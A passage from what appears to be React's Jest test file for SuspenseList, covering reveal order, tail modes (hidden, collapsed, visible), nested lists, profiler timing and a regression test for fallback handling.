waitForAll(['C', 'D', 'E', 'Suspend! [F]', 'Loading F']);\n\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>Loading F</span>\n      </>,\n    );\n\n    await F.resolve();\n\n    await waitForAll(['F']);\n\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n        <span>E</span>\n        <span>F</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('only shows no initial loading state \"hidden\" tail insertions', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"hidden\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <A />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <C />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll(['Suspend! [A]', 'Loading A']);\n\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    await A.resolve();\n\n    await waitForAll(['A', 'Suspend! [B]', 'Loading B']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>A</span>);\n\n    await act(() => B.resolve());\n    assertLog(['B', 'Suspend! [C]', 'Loading C']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(['C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('reveals \"hidden\" rows one by one without suspense boundaries', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"hidden\">\n          <div>\n            <A />\n          </div>\n          <B />\n          <C />\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(\n      <Suspense fallback=\"Loading root\">\n        <Foo />\n      </Suspense>,\n    );\n\n    await waitForAll(['Suspend! [A]']);\n\n    // We can commit without any rows at all leaving empty.\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    await act(() => A.resolve());\n    assertLog(['A', 'Suspend! [B]']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>A</span>\n      </div>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['B', 'Suspend! [C]']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>\n          <span>A</span>\n        </div>\n        <span>B</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(['C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <div>\n          <span>A</span>\n        </div>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('preserves already mounted rows when a new hidden on is inserted in the tail', async () => {\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    let count = 0;\n    function MountCount({children}) {\n      // This component should only mount once.\n      React.useLayoutEffect(() => {\n        count++;\n      }, []);\n      return children;\n    }\n\n    function Foo({insert}) {\n      return (\n        <SuspenseList\n          revealOrder=\"forwards\"\n          tail={insert ? 'hidden' : 'visible'}>\n          <Text text=\"A\" />\n          {insert ? <B /> : null}\n          <MountCount>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <C />\n            </Suspense>\n          </MountCount>\n        </SuspenseList>\n      );\n    }\n\n    await act(() => {\n      ReactNoop.render(<Foo insert={false} />);\n    });\n    assertLog(['A', 'Suspend! [C]', 'Loading C', 'Suspend! [C]']);\n\n    expect(count).toBe(1);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => {\n      ReactNoop.render(<Foo insert={true} />);\n    });\n\n    assertLog(['A', 'Suspend! [B]', 'A', 'Suspend! [B]']);\n\n    expect(count).toBe(1);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(async () => {\n      await B.resolve();\n      await C.resolve();\n    });\n\n    assertLog(['A', 'B', 'C']);\n\n    expect(count).toBe(1);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('reveals \"collapsed\" rows one by one after the first without boundaries', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"collapsed\">\n          <A />\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <B />\n          </Suspense>\n          <C />\n        </SuspenseList>\n      );\n    }\n\n    await act(async () => {\n      ReactNoop.render(\n        <Suspense fallback=\"Loading root\">\n          <Foo />\n        </Suspense>,\n      );\n      await waitForAll(['Suspend! [A]', 'Suspend! [A]']);\n    });\n\n    // The root is still blocked on the first row.\n    expect(ReactNoop).toMatchRenderedOutput('Loading root');\n\n    await A.resolve();\n\n    await waitForAll(['A', 'Suspend! [B]', 'Loading B']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    // Because we have a Suspense boundary that can commit we can now unblock the rest.\n    // If it wasn't a boundary then we couldn't make progress because it would commit\n    // without any loading state.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['B', 'Suspend! [C]', 'B', 'Suspend! [C]']);\n\n    // Incremental loading is suspended.\n    jest.advanceTimersByTime(500);\n\n    // Surprisingly unsuspending B actually causes the parent to resuspend\n    // because C is now unblocked which resuspends the parent. Preventing the\n    // Retry from committing. That's because we don't want to commit into a\n    // state that doesn't have any loading indicators at all. That's what\n    // \"collapsed\" is for. To ensure there's always a loading indicator.\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n      </>,\n    );\n\n    await act(() => C.resolve());\n    assertLog(['B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('eventually resolves a nested forwards suspense list', async () => {\n    const B = createAsyncText('B');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <Text text=\"A\" />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading C\" />}>\n              <Text text=\"C\" />\n            </Suspense>\n          </SuspenseList>\n          <Suspense fallback={<Text text=\"Loading D\" />}>\n            <Text text=\"D\" />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading B',\n      'Loading C',\n      'D',\n      // The second pass forces the fallbacks\n      'Loading A',\n      'Loading B',\n      'Loading C',\n      'Loading D',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n        <span>Loading D</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['A', 'B', 'C', 'D']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('eventually resolves a nested forwards suspense list with a hidden tail', async () => {\n    const B = createAsyncText('B');\n\n    function Foo() {\n      return (\n        <SuspenseList revealOrder=\"together\">\n          <SuspenseList revealOrder=\"forwards\" tail=\"hidden\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <Text text=\"A\" />\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading B\" />}>\n              <B />\n            </Suspense>\n          </SuspenseList>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <Text text=\"C\" />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll(['A', 'Suspend! [B]', 'Loading B', 'C', 'Loading C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>Loading C</span>);\n\n    await act(() => B.resolve());\n    assertLog(['A', 'B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('eventually resolves two nested forwards suspense lists with a hidden tail', async () => {\n    const B = createAsyncText('B');\n\n    function Foo({showB}) {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          <SuspenseList revealOrder=\"forwards\" tail=\"hidden\">\n            <Suspense fallback={<Text text=\"Loading A\" />}>\n              <Text text=\"A\" />\n            </Suspense>\n            {showB ? (\n              <Suspense fallback={<Text text=\"Loading B\" />}>\n                <B />\n              </Suspense>\n            ) : null}\n          </SuspenseList>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <Text text=\"C\" />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(<Foo showB={false} />);\n\n    await waitForAll(['A', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>C</span>\n      </>,\n    );\n\n    // Showing the B later means that C has already committed\n    // so we're now effectively in \"together\" mode for the head.\n    ReactNoop.render(<Foo showB={true} />);\n\n    await waitForAll(['A', 'Suspend! [B]', 'Loading B', 'C', 'A', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>C</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['B']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('can do unrelated adjacent updates', async () => {\n    let updateAdjacent;\n    function Adjacent() {\n      const [text, setText] = React.useState('-');\n      updateAdjacent = setText;\n      return <Text text={text} />;\n    }\n\n    function Foo() {\n      return (\n        <div>\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            <Text text=\"A\" />\n            <Text text=\"B\" />\n          </SuspenseList>\n          <Adjacent />\n        </div>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll(['A', 'B', '-']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>-</span>\n      </div>,\n    );\n\n    // Update the row adjacent to the list\n    await act(() => updateAdjacent('C'));\n\n    assertLog(['C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </div>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('is able to re-suspend the last rows during an update with hidden', async () => {\n    const AsyncB = createAsyncText('B');\n\n    let setAsyncB;\n\n    function B() {\n      const [shouldBeAsync, setAsync] = React.useState(false);\n      setAsyncB = setAsync;\n\n      return shouldBeAsync ? (\n        <Suspense fallback={<Text text=\"Loading B\" />}>\n          <AsyncB />\n        </Suspense>\n      ) : (\n        <Text text=\"Sync B\" />\n      );\n    }\n\n    function Foo({updateList}) {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"hidden\">\n          <Suspense key=\"A\" fallback={<Text text=\"Loading A\" />}>\n            <Text text=\"A\" />\n          </Suspense>\n          <B key=\"B\" updateList={updateList} />\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll(['A', 'Sync B']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Sync B</span>\n      </>,\n    );\n\n    const previousInst = setAsyncB;\n\n    // During an update we suspend on B.\n    await act(() => setAsyncB(true));\n\n    assertLog([\n      'Suspend! [B]',\n      'Loading B',\n      // The second pass is the \"force hide\" pass\n      'Loading B',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n      </>,\n    );\n\n    // Before we resolve we'll rerender the whole list.\n    // This should leave the tree intact.\n    await act(() => ReactNoop.render(<Foo updateList={true} />));\n\n    assertLog([\n      'A',\n      'Suspend! [B]',\n      'Loading B',\n      // pre-warming\n      'Suspend! [B]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n      </>,\n    );\n\n    await act(() => AsyncB.resolve());\n    assertLog(['B']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n      </>,\n    );\n\n    // This should be the same instance. I.e. it didn't\n    // remount.\n    expect(previousInst).toBe(setAsyncB);\n  });\n\n  // @gate enableSuspenseList\n  it('is able to interrupt a partially rendered tree and continue later', async () => {\n    const AsyncA = createAsyncText('A');\n\n    let updateLowPri;\n    let updateHighPri;\n\n    function Bar() {\n      const [highPriState, setHighPriState] = React.useState(false);\n      updateHighPri = setHighPriState;\n      return highPriState ? <AsyncA /> : null;\n    }\n\n    function Foo() {\n      const [lowPriState, setLowPriState] = React.useState(false);\n      updateLowPri = setLowPriState;\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"hidden\">\n          <Suspense key=\"A\" fallback={<Text text=\"Loading A\" />}>\n            <Bar />\n          </Suspense>\n          {lowPriState ? <Text text=\"B\" /> : null}\n          {lowPriState ? <Text text=\"C\" /> : null}\n          {lowPriState ? <Text text=\"D\" /> : null}\n        </SuspenseList>\n      );\n    }\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([]);\n\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    await act(async () => {\n      // Add a few items at the end.\n      React.startTransition(() => {\n        updateLowPri(true);\n      });\n\n      // Flush partially through.\n      await waitFor(['B', 'C']);\n\n      // Schedule another update at higher priority.\n      ReactNoop.flushSync(() => updateHighPri(true));\n\n      // That will intercept the previous render.\n      assertLog([\n        'Suspend! [A]',\n        'Loading A',\n        // Re-render at forced.\n        'Suspend! [A]',\n        'Loading A',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span>Loading A</span>);\n\n      // Try again on low-pri.\n      await waitForAll([\n        'Suspend! [A]',\n        'Loading A',\n        // pre-warming\n        'Suspend! [A]',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span>Loading A</span>);\n    });\n\n    await act(() => AsyncA.resolve());\n    assertLog(['A', 'B', 'C', 'D']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>D</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('can resume class components when revealed together', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n\n    class ClassComponent extends React.Component {\n      render() {\n        return this.props.children;\n      }\n    }\n\n    function Foo() {\n      return (\n        <Suspense fallback={<Text text=\"Loading\" />}>\n          <SuspenseList revealOrder=\"together\">\n            <ClassComponent>\n              <Suspense fallback={<Text text=\"Loading A\" />}>\n                <A />\n              </Suspense>\n            </ClassComponent>\n            <ClassComponent>\n              <Suspense fallback={<Text text=\"Loading B\" />}>\n                <B />\n              </Suspense>\n            </ClassComponent>\n          </SuspenseList>\n        </Suspense>\n      );\n    }\n\n    await A.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'A',\n      'Suspend! [B]',\n      'Loading B',\n      'Loading A',\n      'Loading B',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n      </>,\n    );\n\n    await B.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll(['A', 'B']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('should be able to progressively show CPU expensive rows with two pass rendering', async () => {\n    function TwoPass({text}) {\n      const [pass, setPass] = React.useState(0);\n      React.useLayoutEffect(() => {\n        Scheduler.log('Mount ' + text);\n        setPass(1);\n      }, []);\n      return <Text text={pass === 0 ? 'First Pass ' + text : text} />;\n    }\n\n    function Sleep({time, children}) {\n      Scheduler.unstable_advanceTime(time);\n      return children;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"hidden\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <Sleep time={600}>\n              <TwoPass text=\"A\" />\n            </Sleep>\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <Sleep time={600}>\n              <TwoPass text=\"B\" />\n            </Sleep>\n          </Suspense>\n          <Sleep time={600}>\n            <Text text=\"C\" />\n          </Sleep>\n        </SuspenseList>\n      );\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<App />);\n    });\n\n    await waitFor(['App', 'First Pass A', 'Mount A', 'A']);\n    expect(ReactNoop).toMatchRenderedOutput(<span>A</span>);\n\n    await waitFor(['First Pass B', 'Mount B', 'B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n      </>,\n    );\n\n    await waitForAll(['C']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('should be able to progressively show rows with two pass rendering and visible', async () => {\n    function TwoPass({text}) {\n      const [pass, setPass] = React.useState(0);\n      React.useLayoutEffect(() => {\n        Scheduler.log('Mount ' + text);\n        setPass(1);\n      }, []);\n      return <Text text={pass === 0 ? 'First Pass ' + text : text} />;\n    }\n\n    function Sleep({time, children}) {\n      Scheduler.unstable_advanceTime(time);\n      return children;\n    }\n\n    function App() {\n      Scheduler.log('App');\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <Sleep time={600}>\n              <TwoPass text=\"A\" />\n            </Sleep>\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <Sleep time={600}>\n              <TwoPass text=\"B\" />\n            </Sleep>\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <Sleep time={600}>\n              <Text text=\"C\" />\n            </Sleep>\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(<App />);\n    });\n\n    await waitFor([\n      'App',\n      'First Pass A',\n      'Loading B',\n      'Loading C',\n      'Mount A',\n      'A',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await waitFor(['First Pass B', 'Mount B', 'B']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await waitForAll(['C']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableProfilerTimer\n  // @gate enableSuspenseList\n  it('counts the actual duration when profiling a SuspenseList', async () => {\n    // Order of parameters: id, phase, actualDuration, treeBaseDuration\n    const onRender = jest.fn();\n\n    const Fallback = () => {\n      Scheduler.log('Fallback');\n      Scheduler.unstable_advanceTime(3);\n      return <span>Loading...</span>;\n    };\n\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n    const D = createAsyncText('D');\n    await A.resolve();\n    await B.resolve();\n\n    function Sleep({time, children}) {\n      Scheduler.unstable_advanceTime(time);\n      return children;\n    }\n\n    function App({addRow, suspendTail}) {\n      Scheduler.log('App');\n      return (\n        <Profiler id=\"root\" onRender={onRender}>\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            <Suspense fallback={<Fallback />}>\n              <Sleep time={1}>\n                <A />\n              </Sleep>\n            </Suspense>\n            <Suspense fallback={<Fallback />}>\n              <Sleep time={4}>\n                <B />\n              </Sleep>\n            </Suspense>\n            <Suspense fallback={<Fallback />}>\n              <Sleep time={5}>{suspendTail ? <C /> : <Text text=\"C\" />}</Sleep>\n            </Suspense>\n            {addRow ? (\n              <Suspense fallback={<Fallback />}>\n                <Sleep time={12}>\n                  <D />\n                </Sleep>\n              </Suspense>\n            ) : null}\n          </SuspenseList>\n        </Profiler>\n      );\n    }\n\n    ReactNoop.render(<App suspendTail={true} />);\n\n    await waitForAll([\n      'App',\n      'A',\n      'B',\n      'Suspend! [C]',\n      'Fallback',\n      // pre-warming\n      'Suspend! [C]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>Loading...</span>\n      </>,\n    );\n    expect(onRender).toHaveBeenCalledTimes(\n      gate('alwaysThrottleRetries') ? 1 : 2,\n    );\n\n    // The treeBaseDuration should be the time to render each child. The last\n    // one counts the fallback time.\n    // The actualDuration should also include the 5ms spent rendering the\n    // last suspended row.\n\n    // actualDuration\n    expect(onRender.mock.calls[0][2]).toBe(1 + 4 + 5 + 3);\n    // treeBaseDuration\n    expect(onRender.mock.calls[0][3]).toBe(1 + 4 + 3);\n\n    ReactNoop.render(<App suspendTail={false} />);\n\n    await waitForAll(['App', 'A', 'B', 'C']);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n    expect(onRender).toHaveBeenCalledTimes(\n      gate('alwaysThrottleRetries') ? 2 : 3,\n    );\n\n    // actualDuration\n    expect(onRender.mock.calls[1][2]).toBe(\n      gate('alwaysThrottleRetries') ? 1 + 4 + 5 : 5,\n    );\n    // treeBaseDuration\n    expect(onRender.mock.calls[1][3]).toBe(\n      gate('alwaysThrottleRetries') ? 1 + 4 + 5 : 8,\n    );\n\n    ReactNoop.render(<App addRow={true} suspendTail={true} />);\n\n    await waitForAll([\n      'App',\n      'A',\n      'B',\n      'Suspend! [C]',\n      'Fallback',\n      // We rendered in together mode for the head, now we re-render with forced suspense.\n      'A',\n      'B',\n      'Suspend! [C]',\n      'Fallback',\n      // Lastly we render the tail.\n      'Fallback',\n      // pre-warming\n      'Suspend! [C]',\n    ]);\n\n    // Flush suspended time.\n    jest.advanceTimersByTime(1000);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span hidden={true}>C</span>\n        <span>Loading...</span>\n        <span>Loading...</span>\n      </>,\n    );\n    expect(onRender).toHaveBeenCalledTimes(\n      gate('alwaysThrottleRetries') ? 4 : 5,\n    );\n\n    // The treeBaseDuration should be the time to render the first two\n    // children and then two fallbacks.\n    // The actualDuration should also include rendering the content of\n    // the first fallback, as well as the second pass to render the head\n    // with force fallback mode.\n\n    // actualDuration\n    expect(onRender.mock.calls[2][2]).toBe(\n      gate('alwaysThrottleRetries') ? (1 + 4 + 5 + 3) * 2 + 3 : 10,\n    );\n    // treeBaseDuration\n    expect(onRender.mock.calls[2][3]).toBe(\n      gate('alwaysThrottleRetries') ? 1 + 4 + 3 + 3 : 10,\n    );\n\n    await act(() => C.resolve());\n    assertLog([\n      'C',\n      'Suspend! [D]',\n      // pre-warming\n      'Suspend! [D]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n        <span>Loading...</span>\n      </>,\n    );\n\n    expect(onRender).toHaveBeenCalledTimes(\n      gate('alwaysThrottleRetries') ? 6 : 7,\n    );\n\n    // actualDuration\n    expect(onRender.mock.calls[5][2]).toBe(\n      gate('alwaysThrottleRetries') ? 12 : 17,\n    );\n    // treeBaseDuration\n    expect(onRender.mock.calls[5][3]).toBe(1 + 4 + 5 + 3);\n  });\n\n  // @gate enableSuspenseList\n  it('propagates despite a memo bailout', async () => {\n    const A = createAsyncText('A');\n    const B = createAsyncText('B');\n    const C = createAsyncText('C');\n\n    const Bailout = React.memo(({children}) => {\n      return children;\n    });\n\n    function Foo() {\n      // To test the part that relies on context propagation,\n      // we need to bailout *above* the Suspense's parent.\n      // Several layers of Bailout wrappers help verify we're\n      // marking updates all the way to the propagation root.\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          <Bailout>\n            <Bailout>\n              <Bailout>\n                <Bailout>\n                  <Suspense fallback={<Text text=\"Loading A\" />}>\n                    <A />\n                  </Suspense>\n                </Bailout>\n              </Bailout>\n            </Bailout>\n          </Bailout>\n          <Bailout>\n            <Bailout>\n              <Bailout>\n                <Bailout>\n                  <Suspense fallback={<Text text=\"Loading B\" />}>\n                    <B />\n                  </Suspense>\n                </Bailout>\n              </Bailout>\n            </Bailout>\n          </Bailout>\n          <Bailout>\n            <Bailout>\n              <Bailout>\n                <Bailout>\n                  <Suspense fallback={<Text text=\"Loading C\" />}>\n                    <C />\n                  </Suspense>\n                </Bailout>\n              </Bailout>\n            </Bailout>\n          </Bailout>\n        </SuspenseList>\n      );\n    }\n\n    await C.resolve();\n\n    ReactNoop.render(<Foo />);\n\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>Loading A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => A.resolve());\n    assertLog(['A', 'Suspend! [B]', 'Suspend! [B]']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>Loading B</span>\n        <span>Loading C</span>\n      </>,\n    );\n\n    await act(() => B.resolve());\n    assertLog(['B', 'C']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <>\n        <span>A</span>\n        <span>B</span>\n        <span>C</span>\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it(\n    'regression test: SuspenseList should never force boundaries deeper than ' +\n      'a single level into fallback mode',\n    async () => {\n      const A = createAsyncText('A');\n\n      function UnreachableFallback() {\n        throw new Error('Should never be thrown!');\n      }\n\n      function Repro({update}) {\n        return (\n          <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n            {update && (\n              <Suspense fallback={<Text text=\"Loading A...\" />}>\n                <A />\n              </Suspense>\n            )}\n            <Suspense fallback={<Text text=\"Loading B...\" />}>\n              {update ? (\n                <Suspense fallback={<UnreachableFallback />}>\n                  <Text text=\"B2\" />\n                </Suspense>\n              ) : (\n                <Text text=\"B1\" />\n              )}\n            </Suspense>\n            <Suspense fallback={<Text text=\"Loading C...\" />}>\n              <Text text=\"C\" />\n            </Suspense>\n            {update && (\n              <Suspense fallback={<Text text=\"Loading D...\" />}>\n                <Text text=\"D\" />\n              </Suspense>\n            )}\n          </SuspenseList>\n        );\n      }\n\n      // Initial mount. Only two rows are mounted, B and C.\n      const root = ReactNoop.createRoot();\n      await act(() => root.render(<Repro update={false} />));\n      assertLog(['B1', 'C']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>B1</span>\n          <span>C</span>\n        </>,\n      );\n\n      // During the update, a few things happen simultaneously:\n      // - A new row, A, is inserted into the head. This row suspends.\n      // - The context in row B is replaced. The new content contains a nested\n      //   Suspense boundary.\n      // - A new row, D, is inserted into the tail.\n      await act(() => root.render(<Repro update={true} />));\n      assertLog([\n        // During the first pass, the new row, A, suspends. This means any new\n        // rows in the tail should be forced into fallback mode.\n        'Suspend! [A]',\n        'Loading A...',\n        'B2',\n        'C',\n\n        // A second pass is used to render the fallbacks in the tail.\n        //\n        // Rows B and C were already mounted, so they should not be forced into\n        // fallback mode.\n        //\n        // In the regression that this test was written for, the inner\n        // Suspense boundary around B2 was incorrectly activated. Only the\n        // nearest fallbacks per row should be activated, and only if they\n        // haven't already mounted.\n        'Loading A...',\n        'B2',\n        'C',\n\n        // D is part of the tail, so it should show a fallback.\n        'Loading D...',\n      ]);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>Loading A...</span>\n          <span>B2</span>\n          <span>C</span>\n          <span>Loading D...</span>\n        </>,\n      );\n\n      // Now finish loading A.\n      await act(() => A.resolve());\n      assertLog(['A', 'D']);\n      expect(root).toMatchRenderedOutput(\n        <>\n          <span>A</span>\n          <span>B2</span>\n          <span>C</span>\n          <span>D</span>\n        </>,\n      );\n    },\n  );\n\n  // @gate enableSuspenseList && enableAsyncIterableChildren\n  it('warns for async generator components in \"forwards\" order', async () => {\n    async function* Generator() {\n      yield 'A';\n      yield 'B';\n    }\n    function Foo() {\n      return (\n  